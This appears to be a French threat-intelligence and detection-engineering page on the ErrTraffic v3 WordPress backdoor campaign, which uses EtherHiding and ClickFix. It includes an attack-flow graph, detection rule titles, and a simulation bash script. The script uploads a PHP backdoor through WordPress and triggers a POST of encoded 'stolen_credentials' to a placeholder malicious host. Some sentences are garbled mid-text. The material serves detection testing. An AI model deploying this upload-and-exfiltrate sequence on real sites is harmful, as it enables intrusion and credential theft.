ErrTraffic v3 Utilise EtherHiding dans les Campagnes ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit une nouvelle campagne qui utilise l’outil ErrTraffic v3 pour compromettre les sites WordPress en installant une porte dérobée mu-plugin. La porte dérobée injecte un JavaScript obscurci qui récupère des charges utiles supplémentaires via une technique EtherHiding basée sur la blockchain. L’étape finale livre du code malveillant spécifique aux OS, y compris une charge utile PowerShell chiffrée, aux navigateurs des victimes. Des erreurs de sécurité opérationnelle telles que des clés codées en dur exposent l’infrastructure.
Enquête
LevelBlue SpiderLabs a examiné la porte dérobée WordPress mu-plugin, le balise JavaScript intégré et le panneau de contrôle ErrTraffic V3. Ils ont retracé l’utilisation de clés XOR statiques, de décodage Base64 et d’appels de contrats intelligents aux nœuds Polygon RPC. L’analyse a également identifié la clé d’authentification codée en dur utilisée pour la communication API et a cartographié l’infrastructure d’hébergement à travers plusieurs fournisseurs à l’épreuve des balles.
Atténuation
Defenders should remove the mu‑plugin backdoor, block known malicious TLDs and IP ranges, monitor for the hard‑coded API key usage, and restrict outbound connections to blockchain RPC endpoints. Regularly audit WordPress installations for unexpected mu‑plugins and validate file integrity. Deploy web‑application firewalls to detect the beaconing JavaScript patterns.
Réponse
Lors de la détection, isolez le serveur web affecté, supprimez les fichiers de porte dérobée et changez tous les identifiants administrateurs. Bloquez les domaines malveillants identifiés et les endpoints RPC au périmètre du réseau. Effectuez une révision médico-légale complète pour identifier les charges utiles téléchargées et surveillez l’activité continue de C2 à l’aide du jeton API divulgué.
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Action</b> – <b>T1659 Injection de contenu</b><br/>Exploiter un site WordPress pour uploader un mu-plugin malveillant (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Action</b> – <b>T1671 Intégration d’application Cloud</b> / <b>T1525 Implantation d’image interne</b><br/>Porte dérobée installée comme un plugin obligatoire exécuté à chaque requête"] class step_persistence action step_credential_access["<b>Action</b> – <b>T1056.003 Capture d’entrée</b><br/>Le JavaScript injecté capture les identifiants admin et les envoie à l’attaquant"] class step_credential_access action step_c2["<b>Action</b> – <b>T1102.003 Communication unidirectionnelle par service web</b><br/>Balise envoie les données des visiteurs via navigator.sendBeacon vers les domaines des attaquants"] class step_c2 action step_obfuscation["<b>Action</b> – <b>T1027 Fichiers obscurcis</b><br/>Charges utiles encodées avec Base64 et XOR, intégrées dans des scripts inline"] class step_obfuscation action step_smart_contract["<b>Action</b> – <b>T1059.009 API Cloud</b><br/>Script interroge les endpoints Polygon RPC et smart contracts (EtherHiding) pour les URL"] class step_smart_contract action step_dead_drop["<b>Action</b> – <b>T1102.001</b><br/>Utilise la blockchain comme dépôt mort pour la configuration C2"] class step_dead_drop action step_encrypted["<b>Action</b> – <b>T1573.001 Cryptographie symétrique</b><br/>Trafic API chiffré avec AESu2011GCM ou RC4 utilisant une clé codée en dur"] class step_encrypted action step_execution["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Le téléchargeur crée un répertoire temporaire, écrit un exécutable et récupère une charge utile spécifique à l’OS"] class step_execution action step_priv_esc["<b>Action</b> – <b>T1546.016 Paquets d’installation</b><br/>Script PowerShell s’enregistre comme paquet d’installation pour maintenir le point d’appui"] class step_priv_esc action %% Connections step_initial_access –>| mène à| step_persistence step_persistence –>| permet| step_credential_access step_credential_access –>| fournit| step_c2 step_c2 –>| utilise| step_obfuscation step_obfuscation –>| facilite| step_smart_contract step_smart_contract –>| stocke| step_dead_drop step_dead_drop –>| livre| step_encrypted step_encrypted –>| soutient| step_execution step_execution –>| permet| step_priv_esc "
Flux d’attaque
Détections
Commande en ligne de commande suspecte contenant un chemin UNC avec un exécutable en tant qu’argument (via cmdline)
Voir
Modèles possibles d’attaque ClickFix dans la ligne de commande (via cmdline)
Voir
Exécution possible de PowerShell dans un répertoire suspect (via cmdline)
Voir
Appel de méthodes .NET suspectes depuis PowerShell (via powershell)
Voir
Indicateurs possibles d’obfuscation PowerShell (via powershell)
Voir
Tentative possible d’abus d’Ethereum Publicnode en tant que canal C2 (via dns_query)
Voir
Commande et contrôle suspect par requête DNS de domaine de premier niveau inhabituel (TLD) (via dns)
Voir
Détection d’une charge utile PowerShell obscurcie utilisant TLS forcé 1.2 [Windows Powershell]
Voir
Détection de JavaScript intégré et de la porte dérobée WordPress [Serveur Web]
Voir
Détection de l’activité de ErrTraffic V3 sur des sites WordPress compromis [Serveur Web]
Voir
Exécution de simulation
Condition préalable : Le contrôle pré-vol télémetrie et ligne de base doit avoir été passé.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémetrie exacte attendue par la logique de détection. Des exemples abstraits ou non reliés conduiront à un mauvais diagnostic.
-
Narrative et commandes de l’attaque:
Un attaquant a compromis un compte admin WordPress et télécharge un fichier PHP malveillant nommésession-manager.phpdans le répertoire racine. Le fichier contient une section HTML à l’apparence bénigne qui se termine par un bloc<script>dont le commentaire indique «JavaScript intégré à la fin de la section». Le script effectue une exfiltration de données discrète vers un bucket de stockage cloud (simulé via unPOST curl). Pas d'utilisation dePOST). No use ofnavigator.sendBeacon(), gardant la requête dans la fenêtre de détection de la règle.- Téléverser le backdoor malveillant :
curl -u admin:password -F "file=@session-manager.php" "http://target.example.com/wp-admin/async-upload.php" - Déclencher le backdoor (génère la télémétrie déclenchant la détection) :
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
- Téléverser le backdoor malveillant :
-
Script de test de régression :
#!/usr/bin/env bash # # Simule le téléversement et l'invocation d'une porte dérobée WordPress malveillante # qui contient exactement la phrase que la règle Sigma surveille. # set -euo pipefail TARGET="http://target.example.com" ADMIN_USER="admin" ADMIN_PASS="password" # 1. Créer la charge utile PHP malveillante localement cat > session-manager.php <<'EOF' <?php // JavaScript intégré à la fin de la section echo "<!DOCTYPE html><html><body>"; echo "<script>/* code malveillant */</script>"; echo "</body></html>"; // Simple exfiltration stub (pas de sendBeacon) if ($_GET['cmd'] === 'exfiltrate') { $data = base64_encode('stolen_credentials'); $url = "https://malicious-storage.example.com/upload"; $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data)))); $context = stream_context_create($options); file_get_contents($url, false, $context); } ?> EOF # 2. Téléverser la charge utile via le point de téléchargement asynchrone de WordPress curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" "${TARGET}/wp-admin/async-upload.php" >/dev/null echo "[+] Chargé : session-manager.php malveillant" # 3. Invoquer le backdoor pour générer un trafic visible pour la détection curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null echo "[+] Backdoor déclenché – la télémétrie de détection devrait maintenant être présente" # 4. Optionnel : pause pour l'ingestion SIEM sleep 5 -
Commandes de nettoyage :
# Supprimer le fichier malveillant du serveur (nécessite un accès SSH admin) ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php" echo "[+] Nettoyage complet – backdoor supprimé"